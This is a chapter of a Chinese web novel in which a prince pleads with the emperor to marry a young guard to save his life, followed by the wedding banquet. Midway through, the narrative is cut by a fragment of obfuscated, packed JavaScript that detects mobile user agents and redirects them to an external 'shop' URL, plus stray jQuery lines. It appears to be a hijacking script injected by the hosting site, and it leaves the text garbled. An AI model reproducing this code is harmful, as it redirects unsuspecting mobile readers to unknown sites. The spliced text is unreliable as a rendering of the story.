25.谁是我的新郎?

作品:《殿下他既要、又要、还要!

    俯首跪在大殿冰冷的地砖上,不知那种细小的战栗是来自于地面的冷意,或是来自天子的威压,陆停云忍不住想,沈衍之跪在这里的时候,面对着身为天子的玄肇也会因为地面的森森冷意和未明的审判而颤抖吗?他也和自己一样,对如攀浮木漂流般的命运感到齿冷和好笑吗?


    终于,高高在上的天子说话了,“先把他带下去。”玄肇的声音听不出喜怒,左右的侍卫上前要架陆停云出去。


    玄溯面色有些苍白,但坚定地说:“不,父皇,他就在这里。”


    玄肇自上而下地打量跪在御座下的两个人,一个是他的儿子,平日最温柔好说话,也是最不像他的儿子,从不给他添任何麻烦的儿子。另一个是沈衍之带来的小侍卫,舍命陪君子的小侍卫,曾经在宫宴上眼睛都不眨一下,就当着他的面杀了那个倒霉的护卫营营长。


    玄肇挥手令侍卫退下,审视了两个人很久才饶有兴趣地开口:“谁给朕讲讲,你们两个是怎么凑到一起的?”


    玄溯迎上玄肇的目光,丝毫不惧,朗朗开口:“儿臣自从初见停云便钟情于他,今日特求父皇赐婚。”


    玄肇笑了一声,“溯儿,你告诉父皇,你私下里一次次往衍之府上跑,只是为了这个小侍卫吗?”


    玄溯深吸一口气,努力压下颤抖的声音,尽可能语气平稳地说:“儿臣不敢欺瞒您,一开始儿臣的确存了拉拢沈衍之的念头,想要为自己搏一个礼贤下士的名声,可如今沈衍之已经是二哥的心腹了,儿臣也不敢再有拉拢之意,只求您看在儿臣对停云一片痴心的份上,将他赐给儿臣,饶过他一条性命吧。”


    “我为什么要死?!”陆停云想起自己那日问玄溯的问题,他疑心玄溯跟自己开玩笑,可神色实在不像。


    玄溯很无奈地看着他,那一刻陆停云觉得玄溯真心有点可怜自己,话还需要说得更明白吗,太子愈赞美沈衍之得力,皇帝就会想让沈衍之永远忠诚于太子,他无依无靠到只能依仗玄宁一个人,玄肇才会放心,至于那个活蹦乱跳的小侍卫会不会让沈衍之有二心,那不是上位者需要考虑的问题,陆停云的生死无足轻重,一念之间而已。


    “停云,你还不明白么?你与衍之越是亲密,你就越危险,衍之身边不能再有漓国的人,自从他成了父皇的义子,他就要与漓国的一切割席......”玄溯无法再直视陆停云的眼神,但还是说出了最残忍的话:“也包括你。”


    他活命的代价,是牺牲你。牺牲一个无关紧要,无人在意的小侍卫,匹夫无罪,怀璧其罪。


    “你要是想活下来,一切都听我的!”玄溯看着怔怔的陆停云,不知怎的,忍不住又补了一句:“哥哥向你保证,你会活着见到他的。”


    上位者的赌注是下位者的性命,玄溯等着父皇的审判,玄肇开口了,“你真的愿意吗?陆停云。”


    “我愿意。”陆停云第一次觉得自己的声音很陌生,像别人的声音。


    玄肇状似无奈地叹了口气,对玄溯道:“本来我为你选你的王妃是谢国公家的女儿曦月那孩子的。”


    玄溯手中没有任何可以和父亲博弈的砝码,只得软下口气祈求道:“儿臣从未跟您要过任何东西,父皇,曦月小姐出身如此高贵,母家也堪称助力,可是儿臣今后不会再有一丝一毫与二哥夺权的念头,求父皇将停云赐给儿臣吧,儿臣此生唯他一人而已。”


    玄肇没有说话,玄溯急切地向前膝行几步,重重磕了三个响头,语气有些凄切“父皇,儿臣自幼便没了母妃,您便是儿臣的依仗,求您把对二哥的疼爱分一点点给儿臣吧,儿臣从未跟您要求过任何东西,只求您的一点疼爱,将停云给我吧,父皇!”玄溯还欲磕头,玄肇终于起身,止住了他。


    不知被玄溯哪一句话说动了,玄肇将玄溯扶起来,拍了拍他的肩,温言道:“你永远是朕的儿子,大讌尊贵的皇子,你身上流着朕的血,朕怎会不疼你。”玄肇拍了拍儿子的肩,“你也要成家了,父皇要老了......去吧,把那个孩子领走吧。”


    玄溯赌赢了。


    当天晚上为玄宁庆功的宫宴上,皇子公主们都到齐了,连绿水这般不爱凑热闹的人都与玄非一同出席了,陆停云跟在玄溯后面,两人坐在一处。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089348|194242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“爷,您听我的话吗?”绿水握着玄非的手轻轻问道,玄非梗着脖子把吃了一半果子直接咽下去,点头不迭,绿水为他理了理衣襟,柔声道:“等下发生了什么都不要说话好吗?”


    歌舞升平、酒过三巡之际,大讌皇帝玄肇为五皇子玄溯赐婚。


    玄非不可置信地拽紧了绿水的衣袖,以为自己喝得太醉了,出现了幻觉。绿水挤出一个勉强的笑容,轻轻说:“爷,等我们回家您再哭好么,先把酒杯拿起来敬酒吧。”


    没有人有异议,酒杯高举齐声万岁,新人在一世情深的祝福中,携手走至殿前,磕头谢恩。


    玄非回府后抱着绿水流泪,嘴里喃喃道:“我不懂、我不懂,父皇怎么能......”绿水握住他的嘴,“爷,您不需要懂,您只需要知道父皇永远都有道理就好。”


    绿水其实很不愿意破坏玄非的天真,可有些事情总是没有办法的,他能做的只不过是明日起来,替玄非挑些送给新人的礼物罢了。


    明天的太阳会升起,日子会照常过,沈衍之、陆停云、玄溯都会活着,只不过额外支付给了命运一些代价而已。


    没隔几日,沈衍之给新人的贺礼就从前线送了过来,木匣里的一支檀木发簪,陆停云与沈衍之曾经交换过的那根发簪,沈衍之出征那日,陆停云为他梳头,亲将这根发簪佩在他的头上。陆停云冷不防想到一句,念君客游思断肠,远在千里之外的情郎,你一定想我想得肝肠寸断。闻说大婚消息,沈衍之又要如何五内煎熬,如何恨自己无能为力,陆停云不敢想。


    大婚的日子很近,即便是暂时的权宜之计,玄溯还是令人好生操办,弄得像真的一样。


    陆停云整日在庭中舞剑,剑光如电,绚然而有声,质子府的仆役都绕着他走,怕被劈,采荷也耷拉着脑袋一脸丧气,颇觉自己的嘴像乌鸦嘴,索性缄口不言,折柳挂念着即将结婚的乡下远方表妹,反而对陆停云有了点惺惺相惜的感觉。


    总之,陆停云不像是要结婚的样子,而像是要找谁去讨债。


    注:“念君客游思断肠”引自曹丕的七言诗《燕歌行》